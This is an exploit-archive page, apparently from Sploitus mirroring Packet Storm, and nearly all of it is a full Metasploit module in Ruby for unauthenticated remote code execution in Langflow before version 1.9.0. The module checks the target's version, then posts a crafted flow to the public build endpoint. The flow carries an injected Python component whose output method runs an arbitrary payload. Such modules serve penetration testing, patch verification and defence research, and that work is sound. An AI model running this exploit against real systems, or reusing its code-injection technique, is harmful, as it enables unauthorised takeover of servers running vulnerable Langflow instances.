Sploitus

Exploit for πŸ“„ Langflow Remote Code Execution

packetstorm Β· 2026-08-11

Exploit Code

ruby203 lines
## https://sploitus.com/exploit?id=PACKETSTORM:228366
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Langflow Unauth RCE',
            'Description' => %q{
              Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the
              /api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted
              HTTP requests to execute arbitrary code.
            },
            'Author' => [
              'Richard Howe <rhowe425>',  # Metasploit module
              'Diamorphine'               # Discovered vulnerability
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-33017'],
              ['EDB', '52627'],
              ['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896']
            ],
            'Targets' => [
              [
                'Python payload',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => '"'
            },
            'DisclosureDate' => '2026-03-20',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]),
            Opt::RPORT(7860)
          ]
        )
      end
    
      def check
        res = send_request_cgi(
          {
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'api/v1/version')
          }
        )
        return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    
        doc = res.get_json_document
        package = doc.is_a?(Hash) ? doc['package'] : nil
        version_str = doc.is_a?(Hash) ? doc['version'] : nil
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str
        return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
        return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'
    
        begin
          version = Rex::Version.new(version_str)
        rescue StandardError
          return Exploit::CheckCode::Unknown('Failed to parse version.')
        end
    
        if version < Rex::Version.new('1.9.0')
          Exploit::CheckCode::Appears("Version #{version} appears vulnerable.")
        else
          Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
        end
      end
    
      def exploit
        flow_id = datastore['FLOW_ID']
        fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id
    
        # Randomize component identifiers
        node_id = Rex::Text.rand_text_alpha(8)
        component_display_name = Rex::Text.rand_text_alpha(5)
        component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"
    
        output_display_name = Rex::Text.rand_text_alpha(5)
        output_name = Rex::Text.rand_text_alpha(5).downcase
        output_method = Rex::Text.rand_text_alpha(5).downcase
    
        # The payload is executed within the output method so it runs when the
        # component vertex is invoked; the class definition allows Langflow to
        # resolve the component vertex.
        injected_code = "from lfx.custom.custom_component.component import Component\n" \
                        "from lfx.io import Output\n" \
                        "from lfx.schema.data import Data\n" \
                        "\n" \
                        "class #{component_name}(Component):\n" \
                        "    display_name='#{component_display_name}'\n" \
                        "    outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \
                        "    def #{output_method}(self)->Data:\n" \
                        "        #{payload.encode.gsub("\n", "\n        ")}\n" \
                        "        return Data(data={})\n"
    
        data = {
          'data' => {
            'nodes' => [
              {
                'id' => node_id,
                'type' => 'genericNode',
                'position' => {
                  'x' => 0,
                  'y' => 0
                },
                'data' => {
                  'id' => node_id,
                  'type' => component_name,
                  'node' => {
                    'template' => {
                      'code' => {
                        'type' => 'code',
                        'required' => true,
                        'show' => true,
                        'multiline' => true,
                        'value' => injected_code,
                        'name' => 'code',
                        'password' => false,
                        'advanced' => false,
                        'dynamic' => false
                      },
                      '_type' => 'Component'
                    },
                    'description' => component_display_name,
                    'base_classes' => ['Data'],
                    'display_name' => component_name,
                    'name' => component_name,
                    'frozen' => false,
                    'outputs' => [
                      {
                        'types' => ['Data'],
                        'selected' => 'Data',
                        'name' => output_name,
                        'display_name' => output_display_name,
                        'method' => output_method,
                        'value' => '__UNDEFINED__',
                        'cache' => true,
                        'allows_loop' => false,
                        'tool_mode' => false,
                        'hidden' => nil,
                        'required_inputs' => nil,
                        'group_outputs' => false
                      }
                    ],
                    'field_order' => ['code'],
                    'beta' => false,
                    'edited' => false
                  }
                }
              }
            ],
            'edges' => []
          },
          'inputs' => nil
        }
    
        res = send_request_cgi(
          {
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"),
            'headers' => {
              'Content-Type' => 'application/json'
            },
            'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}",
            'data' => data.to_json
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res
    
        unless res.code.between?(200, 299)
          fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).")
        end
    
        print_status('Payload sent successfully.')
      end
    end